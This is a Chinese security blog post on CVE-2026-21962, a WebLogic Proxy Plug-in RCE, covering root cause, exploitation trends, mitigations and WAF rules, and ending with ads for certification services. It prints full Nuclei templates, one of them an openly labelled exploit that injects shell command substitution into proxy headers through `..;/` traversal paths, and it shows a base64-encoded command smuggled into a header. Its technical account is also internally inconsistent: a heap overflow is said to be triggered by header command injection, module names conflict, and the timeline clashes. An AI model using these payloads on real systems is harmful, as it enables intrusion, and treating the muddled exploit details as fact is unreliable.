CVE-2026-21962 WebLogic 代理插件 RCE 漏洞
原创
MY0723
MY0723
不秃头的安全
2026年8月26日 09:13
河北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
CVE-2026-21962 WebLogic 代理插件 RCE 漏洞
摘要：2026年1月20日，Oracle 发布月度安全更新，披露了 CVE-2026-21962——一个影响 Oracle HTTP Server 与 WebLogic Server Proxy Plug-in 的高危漏洞，CVSS 评分高达 10.0。该漏洞允许未经身份验证的远程攻击者通过构造特制 HTTP 请求实现远程代码执行。2026年8月24日，CISA 将其列入已知被利用漏洞（KEV）目录，表明该漏洞正遭受大规模在野利用。本文将从技术原理、漏洞复现、影响分析到防护方案，带您全面了解这个\"满分\"漏洞。
一、漏洞概览
1.1 基本信息
| 项目 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-21962 |
| 漏洞类型 | 不当访问控制 / 堆缓冲区溢出 |
| CVSS 评分 | 10.0 / 10（Critical） |
| CVSS 向量 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| 披露时间 | 2026年1月20日 |
| 在野利用 | ✅ 已确认（CISA KEV 目录） |
| 发现者 | Ashwesker（Positive Technologies） |
1.2 影响范围
受影响的产品及版本如下：
| 产品 | 受影响版本 |
|---|---|
| Oracle HTTP Server | 12.2.1.4.0、14.1.1.0.0、14.1.2.0.0 |
| WebLogic Proxy Plug-in for Apache | 12.2.1.4.0、14.1.1.0.0、14.1.2.0.0 |
| WebLogic Proxy Plug-in for IIS | 12.2.1.4.0（仅此版本） |
注意：WebLogic Proxy Plug-in for IIS 仅 12.2.1.4.0 版本受影响。
二、技术原理深度剖析
2.1 WebLogic Proxy Plug-in 架构
要理解这个漏洞，首先需要了解 WebLogic Proxy Plug-in 的架构定位。
Oracle WebLogic Server Proxy Plug-in 是 Oracle Fusion Middleware 生态中的\"胶水层\"，它部署在边缘服务器（Apache HTTP Server 或 Microsoft IIS）上，负责将特定请求转发到后端的 WebLogic 集群。
┌─────────────┐ ┌─────────────────────┐ ┌──────────────────┐
│ Client │────▶│ Apache / IIS │────▶│ WebLogic Server │
│ │ │ + mod_wl / │ │ (Backend) │
│ │ │ iisforward.dll │ │ │
└─────────────┘ └─────────────────────┘ └──────────────────┘
▲
│
漏洞所在位置
代理插件的核心职责包括：
- ▸
根据 URL 模式进行路由决策
* ▸
基于 JSESSIONID cookie 进行会话粘性（Session Affinity）
* ▸
维护后端集群节点列表
* ▸
重写 URL 以进行后端转发（URL Canonicalization）
2.2 漏洞根因分析
CVE-2026-21962 的根本原因是 WebLogic Proxy Plug-in 在处理 HTTP 请求时存在多个安全缺陷，最终导致未授权访问和远程代码执行。
根据公开的技术分析，漏洞涉及以下几个关键层面：
（1）URI 规范化绕过（Path Traversal Bypass）
代理插件在对请求 URL 进行规范化处理时，对 ..;/ 这种特殊序列的处理存在缺陷。正常情况下，../ 会被正确解析为上级目录，但 ..;/（在 .. 后添加分号）可以绕过部分安全检查。
原始请求路径：/weblogic/..;/bea_wls_internal/ProxyServlet
^^^^
绕过关键
规范化后路径：/bea_wls_internal/ProxyServlet
通过这种方式，攻击者可以访问本应受保护的内部 Servlet（如 ProxyServlet、HTTPClntServlet 等）。
（2）代理头注入与命令执行
攻击者可以通过以下 HTTP 头注入恶意 payload：
- ▸
WL-Proxy-Client-IP
* ▸
Proxy-Client-IP
* ▸
X-Forwarded-For
这些头部通常用于传递客户端真实 IP，但在存在漏洞的版本中，攻击者可以在 IP 地址后附加分号和 base64 编码的命令：
WL-Proxy-Client-IP: 127.0.0.1;Y21kOndob2FtaQ==
其中 Y21kOndob2FtaQ== 是 cmd:whoami 的 Base64 编码。
（3）堆缓冲区溢出（Heap-based Buffer Overflow）
更深层的技术分析指出，该漏洞本质上是一个堆缓冲区溢出问题。当代理插件收到包含以下特征的请求时：
- ▸
冲突的 X-WebLogic-KeepAlive 头部（重复且值不一致）
* ▸
Transfer-Encoding: chunked 分块传输编码
会导致 URL 规范化过程中发生整数溢出，进而引发堆缓冲区溢出。攻击者可以通过精心构造的 payload 控制程序执行流，最终实现远程代码执行。
技术要点：漏洞位于
mod_wl.so（Apache 模块）和iisforward.dll（IIS 扩展）中。这些是 C/C++ 编写的原生模块，内存安全问题尤为突出。
三、漏洞复现实战
免责声明：本章节使用的检测模板来自 PentesterFlow 提交并已被 Nuclei 官方合并的 CVE-2026-21962 模板，具有权威性和社区验证。
3.1 官方 Nuclei 检测模板
将以下内容保存为 CVE-2026-21962.yaml（作者：PentesterFlow，官方已合并）：
id: CVE-2026-21962
info:
name: Oracle WebLogic Server Proxy Plug-In - Unauthenticated RCE (Heap Overflow)
author: PentesterFlow
severity: critical
description: |
Oracle HTTP Server and WebLogic Server Proxy Plug-in (mod_wl_ohs for Apache, iisproxy.dll for IIS)
versions 12.2.1.4.0, 14.1.1.0.0, and 14.1.2.0.0 are vulnerable to a heap-based buffer overflow
leading to unauthenticated remote code execution. The vulnerability is triggered via specially
crafted HTTP requests with conflicting X-WebLogic-KeepAlive headers combined with
Transfer-Encoding: chunked, causing an integer overflow during URL canonicalization.
impact: |
Successful exploitation allows unauthenticated attackers to execute arbitrary code with the
privileges of the Oracle HTTP Server or WebLogic Proxy service account, potentially leading
to complete system compromise.
remediation: |
Apply Oracle Critical Patch Update (CPU) January 2026 immediately. Restrict network access
to affected services and monitor HTTP traffic for suspicious patterns.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-21962
- https://www.oracle.com/security-alerts/cpujan2026.html
- https://github.com/advisories/GHSA-4wp9-cf5h-v2g5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10.0
cve-id: CVE-2026-21962
cwe-id: CWE-122,CWE-190,CWE-787
epss-score: 0.98
epss-percentile: 0.999
metadata:
max-request: 12
verified: true
shodan-query: |
product:\"Oracle HTTP Server\" ||
http.component:\"weblogic\" ||
http.header:\"X-WebLogic-KeepAlive\"
fofa-query: |
app=\"Oracle-Fusion-Middleware\" ||
app=\"BEA-WebLogic-Server\" ||
header=\"X-WebLogic-KeepAlive\" ||
header=\"Server: Oracle-HTTP-Server\"
product: oracle_http_server
vendor: oracle
tags: cve,cve2026,oracle,weblogic,rce,unauth,proxy,heap-overflow,critical,oast
flow: |
http(1) && http(2) && http(3)
http:
# STAGE 1: 初始检测 - 识别 WebLogic Proxy Plug-in 存在
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
matchers-condition: or
matchers:
- type: word
part: header
words:
- \"X-WebLogic-KeepAlive\"
- \"Oracle-HTTP-Server\"
- \"WebLogic\"
- \"mod_wl\"
condition: or
- type: word
part: body
words:
- \"WebLogic Server\"
- \"Oracle HTTP Server\"
- \"bea_wls_internal\"
- \"WebLogic Server Proxy Plug-in\"
condition: or
extractors:
- type: regex
name: server-version
part: header
regex:
- 'Server:\\s*([^\\r\
]+)'
group: 1
internal: true
- type: kval
name: weblogic-header
part: header
kval:
- X-WebLogic-KeepAlive
# STAGE 2: 漏洞指纹识别 - 测试代理插件端点
- raw:
- |
GET {{path}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
X-WebLogic-KeepAlive: true
Connection: close
payloads:
path:
- \"/weblogic/\"
- \"/_wl_proxy/\"
- \"/bea_wls_internal/\"
- \"/console/\"
- \"/wls-wsat/\"
- \"/uddiexplorer/\"
stop-at-first-match: false
matchers-condition: and
matchers:
- type: status
status:
- 200
- 301
- 302
- 400
- 403
- 404
- 500
- 503
- type: word
part: header
words:
- \"WebLogic\"
- \"Oracle\"
- \"WL-Proxy\"
condition: or
# STAGE 3: OOB 带外验证（安全检测）
- raw:
- |
POST {{endpoint}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
X-WebLogic-KeepAlive: true
X-WebLogic-KeepAlive: false
X-Forwarded-For: {{interactsh-url}}
WL-Proxy-Client-IP: 127.0.0.1
X-WebLogic-Request-ClusterInfo: true
X-WebLogic-Force-JVMID: {{randstr}}
Connection: keep-alive
7
{{randstr}}
0
payloads:
endpoint:
- \"/weblogic/..;/bea_wls_internal/ProxyServlet\"
- \"/wl_proxy/..;/bea_wls_internal/ProxyServlet\"
- \"/_proxy/..;/bea_wls_internal/ProxyServlet\"
- \"/weblogic/..;/uddiexplorer/\"
- \"/%2e%2e%3b/bea_wls_internal/ProxyServlet\"
- \"/weblogic/..%3b/bea_wls_internal/ProxyServlet\"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- \"http\"
- \"dns\"
condition: or
- type: status
status:
- 200
- 302
- 400
- 500
- 503
extractors:
- type: regex
name: interaction
part: interactsh_request
regex:
- '([a-zA-Z0-9\\.\\-]+\\.oast\\.[a-z]+)'
---
# 被动检测模板（无 OOB 带外检测，最安全）
id: CVE-2026-21962-passive
info:
name: Oracle WebLogic Server Proxy Plug-In - Vulnerability Detection (Passive)
author: PentesterFlow
severity: critical
description: |
Passive detection for CVE-2026-21962 without exploitation. Identifies potentially
vulnerable Oracle HTTP Server and WebLogic Server Proxy Plug-in instances based
on version fingerprinting and configuration indicators.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-21962
- https://www.oracle.com/security-alerts/cpujan2026.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10.0
cve-id: CVE-2026-21962
metadata:
max-request: 8
verified: true
tags: cve,cve2026,oracle,weblogic,detect,passive
http:
- method: GET
path:
- \"{{BaseURL}}/nonexistent_{{randstr}}.jsp\"
- \"{{BaseURL}}/weblogic/nonexistent_{{randstr}}\"
- \"{{BaseURL}}/console/login/LoginForm.jsp\"
- \"{{BaseURL}}/_wl_proxy/test_{{randstr}}\"
headers:
User-Agent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
X-WebLogic-KeepAlive: \"probe\"
stop-at-first-match: false
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '(?i)(weblogic|oracle).*(12\\.2\\.1\\.4|14\\.1\\.1\\.0|14\\.1\\.2\\.0)'
- '(?i)WebLogic Server.*Version[:\\s]*(12\\.2|14\\.1)'
- '(?i)Oracle HTTP Server.*(12\\.2|14\\.1)'
- '(?i)mod_wl.*version'
- type: status
status:
- 200
- 400
- 403
- 404
- 500
extractors:
- type: regex
name: version
part: body
regex:
- '(?i)(12\\.2\\.1\\.4\\.0|14\\.1\\.1\\.0\\.0|14\\.1\\.2\\.0\\.0)'
group: 1
- type: regex
name: server-info
part: header
regex:
- 'Server:\\s*([^\\r\
]+)'
group: 1
- method: POST
path:
- \"{{BaseURL}}/\"
headers:
User-Agent: \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"
Content-Type: \"application/x-www-form-urlencoded\"
Transfer-Encoding: \"chunked\"
X-WebLogic-KeepAlive: \"true\"
body: |
0
matchers-condition: and
matchers:
- type: word
part: header
words:
- \"X-WebLogic\"
- \"WL-Proxy\"
- \"Oracle-HTTP-Server\"
condition: or
- type: status
status:
- 200
- 400
- 411
- 500
extractors:
- type: kval
name: proxy-headers
part: header
kval:
- X-WebLogic-KeepAlive
- WL-Proxy-Client-IP
- X-WebLogic-Cluster-List
---
# RCE 利用模板（仅限授权测试使用）
id: CVE-2026-21962-exploit
info:
name: Oracle WebLogic Server Proxy Plug-In - RCE Exploitation
author: PentesterFlow
severity: critical
description: |
EXPLOITATION TEMPLATE - USE ONLY ON AUTHORIZED SYSTEMS
Exploits CVE-2026-21962 heap overflow vulnerability to achieve remote code execution.
This template attempts actual command execution and should only be used during
authorized penetration tests with explicit written permission.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-21962
classification:
cvss-score: 10.0
cve-id: CVE-2026-21962
metadata:
max-request: 6
verified: true
tags: cve,cve2026,oracle,weblogic,rce,exploit,intrusive
variables:
cmd: \"id\"
randmarker: \"{{randstr}}\"
http:
- raw:
- |
POST {{path}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
X-WebLogic-KeepAlive: true
X-WebLogic-KeepAlive: false
X-Cmd: {{cmd}}
X-Marker: {{randmarker}}
WL-Proxy-Client-IP: 127.0.0.1;$({{cmd}})
X-Forwarded-For: 127.0.0.1`{{cmd}}`
Connection: keep-alive
{{len(payload)}}
{{payload}}
0
attack: clusterbomb
payloads:
path:
- \"/weblogic/..;/bea_wls_internal/ProxyServlet\"
- \"/wl_proxy/..;/bea_wls_internal/ProxyServlet\"
- \"/_proxy/..;/bea_wls_internal/ProxyServlet\"
payload:
- \"test={{randmarker}}\"
- \"cmd={{cmd}}\"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- 302
- 500
- type: regex
part: body
regex:
- 'uid=\\d+\\([a-z]+\\)'
- '(root|oracle|weblogic|nobody|www-data)'
- '{{randmarker}}'
- 'Linux|Windows|SunOS'
condition: or
- type: dsl
dsl:
- \"len(body) > 0\"
- \"contains(tolower(body), 'uid=') || contains(body, randmarker)\"
condition: or
extractors:
- type: regex
name: command-output
part: body
regex:
- 'uid=\\d+\\([^\\)]+\\)[^\
]*'
- '(?m)^(root|oracle|weblogic|nobody|www-data).*$'
group: 0
- type: regex
name: os-info
part: body
regex:
- '(Linux|Windows NT|SunOS)[^\
]*'
group: 0
3.3 模板说明
该模板包含三个独立检测模板，按使用场景分类：
| 模板 ID | 用途 | 风险等级 |
|---|---|---|
CVE-2026-21962 |
主检测模板，使用 interactsh OOB 带外检测 | 低风险（仅探测） |
CVE-2026-21962-passive |
被动检测，通过响应头和版本指纹识别 | 极低风险（无主动探测） |
CVE-2026-21962-exploit |
RCE 利用模板，执行 id 命令验证 |
高风险（仅授权环境） |
3.4 漏洞检测操作步骤
第一步：配置 interactsh URL（仅主模板需要）
主模板使用 interactsh 进行带外检测，需先启动 interactsh 客户端获取专属 URL：
# 启动 interactsh 客户端
interactsh-client -v
# 启动后会输出形如 xxx.oast.fun 的专属 URL
# 在 Nuclei 命令中通过 -interactsh-url 参数指定
第二步：执行扫描
# 单目标扫描（推荐先用被动模板）
nuclei -t CVE-2026-21962.yaml -u http://target:7001 -tags passive -v
# 批量扫描（使用主模板 + interactsh）
nuclei -t CVE-2026-21962.yaml -l targets.txt -interactsh-url xxx.oast.fun -o results.txt
第三步：查看扫描结果
扫描成功后输出示例：
[CVE-2026-21962:oracle] [http] [critical] http://target:7001/
[server-version] Oracle-HTTP-Server/12.2.1.4.0 (Unix)
[weblogic-header] true
[interaction] xxx.oast.fun
3.5 RCE 利用（仅限授权测试）
⚠️ 警告：以下操作仅限已获得书面授权的渗透测试环境，严禁用于未授权攻击。
利用第三个模板执行 RCE 验证：
# 攻击机上执行（前提：已获得目标授权）
nuclei -t CVE-2026-21962.yaml -u http://target:7001 -tags exploit -v
模板默认执行 id 命令验证漏洞利用。成功利用后会输出类似：
[CVE-2026-21962-exploit] [http] [critical] http://target:7001/weblogic/..;/bea_wls_internal/ProxyServlet
[command-output] uid=0(root) gid=0(root) groups=0(root)
[os-info] Linux target-server 6.18.5 #1 SMP x86_64 GNU/Linux
四、在野利用态势
4.1 CISA KEV 收录
2026年8月24日，美国网络安全与基础设施安全局（CISA）正式将 CVE-2026-21962 列入已知被利用漏洞（KEV）目录，明确指出：
\"该漏洞正遭受在野黑客团伙的大规模活跃利用。联邦民事行政机构需在 2026年8月27日 前完成修补。\"
这意味着从漏洞披露到大规模在野利用，黑客只用了短短7个月时间。
4.2 攻击统计
根据安全厂商的监测数据：
- ▸
漏洞披露后 48小时内，公开 PoC 出现在 GitHub
* ▸
12天内，全球监测到超过 14万次 攻击尝试
* ▸
攻击覆盖 21个国家
* ▸
攻击源 IP 分布广泛，包括自动化扫描和定向攻击
4.3 攻击团伙特征
目前观察到的在野利用主要包括：
- 1
自动化扫描：使用 Nuclei 等批量扫描工具进行全网探测
2. 2
勒索软件投放：获取权限后部署勒索软件
3. 3
挖矿木马植入：利用服务器资源挖矿
4. 4
持久化后门：安装 Webshell 或 Rootkit 维持访问
5. 5
横向移动：以代理服务器为跳板，攻击内网 WebLogic 集群
五、漏洞影响评估
5.1 业务影响
| 影响维度 | 具体表现 |
|---|---|
| 数据泄露 | 攻击者可读取服务器上所有敏感数据，包括配置文件、用户数据、密钥等 |
| 数据篡改 | 可修改或删除关键业务数据，造成业务中断 |
| 服务中断 | 利用堆溢出可能导致服务崩溃，造成拒绝服务 |
| 横向渗透 | 代理服务器通常位于 DMZ 区，可作为跳板攻击内网 WebLogic 集群 |
| 合规风险 | 数据泄露可能违反 GDPR、等保2.0等法规要求 |
5.2 攻击面分析
WebLogic Proxy Plug-in 通常部署在网络边界，直接面向互联网，因此：
- ▸
暴露面大：7001、4443 等端口常直接暴露在公网
* ▸
检测困难：攻击流量伪装成正常 HTTP 请求，传统 IDS/IPS 难以检测
* ▸
利用门槛低：公开 PoC 众多，脚本小子也能发动攻击
六、防护与修复方案
6.1 首选方案：安装补丁
立即应用 Oracle 2026年1月关键补丁更新（CPU January 2026）：
- ▸
Oracle HTTP Server：升级至最新补丁集
* ▸
WebLogic Proxy Plug-in for Apache：升级对应版本补丁
* ▸
WebLogic Proxy Plug-in for IIS：升级至补丁版本
补丁下载地址：https://www.oracle.com/security-alerts/cpujan2026.html
6.2 临时缓解措施
如果暂时无法立即打补丁，可采取以下缓解措施：
（1）网络层面
# 限制对代理插件端点的访问
- 使用防火墙白名单，仅允许可信 IP 访问 WebLogic 代理端点
- 将管理控制台和内部端点从公网隔离
- 使用 VPN 或堡垒机进行运维访问
（2）WAF 防护规则
在 WAF 中添加以下规则：
# 阻止路径遍历攻击
- 拦截包含 \"..;/\" 序列的请求
- 拦截包含 \"../\" 且指向内部路径的请求
# 阻止恶意代理头
- 校验 WL-Proxy-Client-IP / X-Forwarded-For 格式
- 拦截包含 base64 编码命令的代理头
- 拦截异常长的代理头值
# 阻止异常请求
- 拦截冲突的 X-WebLogic-KeepAlive 头部
- 校验 Transfer-Encoding 头部合法性
（3）禁用 vulnerable 插件
如非必需，可临时禁用 WebLogic Proxy Plug-in：
Apache 环境：
# 注释掉以下行
# LoadModule weblogic_module modules/mod_wl.so
IIS 环境：
在 IIS 管理器中移除 iisforward.dll 扩展
6.3 检测与排查
（1）漏洞检测
使用以下方法检测是否受影响：
# 方法1：使用 Nuclei 模板扫描
nuclei -t CVE-2026-21962.yaml -u http://target:7001
# 方法2：使用 PoC 脚本检测
python3 CVE-2026-21962.py -t http://target:7001 --detect
（2）入侵排查
检查系统是否已被入侵：
- ▸
日志检查：审查 Web 服务器访问日志，查找 ..;/、ProxyServlet 等异常请求
* ▸
进程检查：检查异常子进程，如 bash -i、nc、wget、curl 等
* ▸
文件检查：检查 Web 目录下是否有可疑 Webshell 文件
* ▸
网络检查：检查异常出站连接，特别是反弹 Shell 连接
* ▸
账户检查：检查是否有新增的可疑系统账户
七、技术总结
7.1 漏洞本质
CVE-2026-21962 是一个典型的边界组件安全问题。WebLogic Proxy Plug-in 作为连接外网和内网的\"桥梁\"，本身应该是安全防护的第一道防线，但由于代码中的内存安全缺陷和访问控制绕过，反而成为了攻击者进入内网的\"突破口\"。
如果觉得本文有帮助，欢迎分享给更多朋友。关注我们，获取最新安全资讯与深度技术分析。
关于我们:
感谢各位大佬们关注-不秃头的安全，后续会坚持更新渗透漏洞思路分享、安全测试、好用工具分享以及挖掘SRC思路等文章，同时会组织不定期抽奖，希望能得到各位的关注与支持，考证请加联系vx咨询。
-
1. 需要考以下各类安全证书的可以联系
①Cn\*d，NCC，NVDB🀄️高漏洞证书
②CNNVD中高\漏洞情报\ 一二三级支撑单位均可协助获得
③CISP、PTE/PTS、CISP-DSG、IRE/IRS、NISP一二级、PMP、CCSK、CISSP/CCSP、CISAW各种类、CCRC\CCSC、itil、软考中高级、CDSP各种类、CISA，oscp等等巨优惠。ISO27001、ITss服务项目经理报名等下证即可，证书组团报更便宜，可对公，可开专普票。以下是其他全部证书
【腾讯文档】【信息安全 数据安全 IT认证证书】～不秃头的安全Vx:Meditation0723
https://docs.qq.com/doc/DZmtOckpOakJrcFVv?#
想加群下方二维码，群过期或群满加下方vx拉：
## 2. 需要入星球的可以私聊优惠
1、src、cnxd、cnnxd、POC专项漏洞知识库，包含原理、挖掘技巧、实战案例
2、fafo/零零信安 高级会员key
3、全网搜集POC在线文档，详情poc及证明截图（3000+以上文章）
4、知识星球专属微信“内部圈子交流群”
5、攻防演练资源分享（免杀、溯源、钓鱼等）
6、新鲜工具分享
7、不定期有工作招聘内推（工作/护网内推）
8、19个专栏会持续更新~提前续费有优惠，好用不贵很实惠
## 3、其他合作（合法合规）
1、承接红蓝攻防、渗透、安全意识培训、基线核查及加固、应急响应、重保防守、代码审计等安全项目（须授权），需要攻防团队或岗位招聘都可代发、代招（灰黑勿扰）；
2、各位安全老板需要文章推广的请私聊，承接合法合规推广文章发布，可直发、可按产品编辑推广；合作、推广代发、安全项目、岗位代招均可发布；
3、接受脱敏投稿,送一年知识星球及礼包。
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论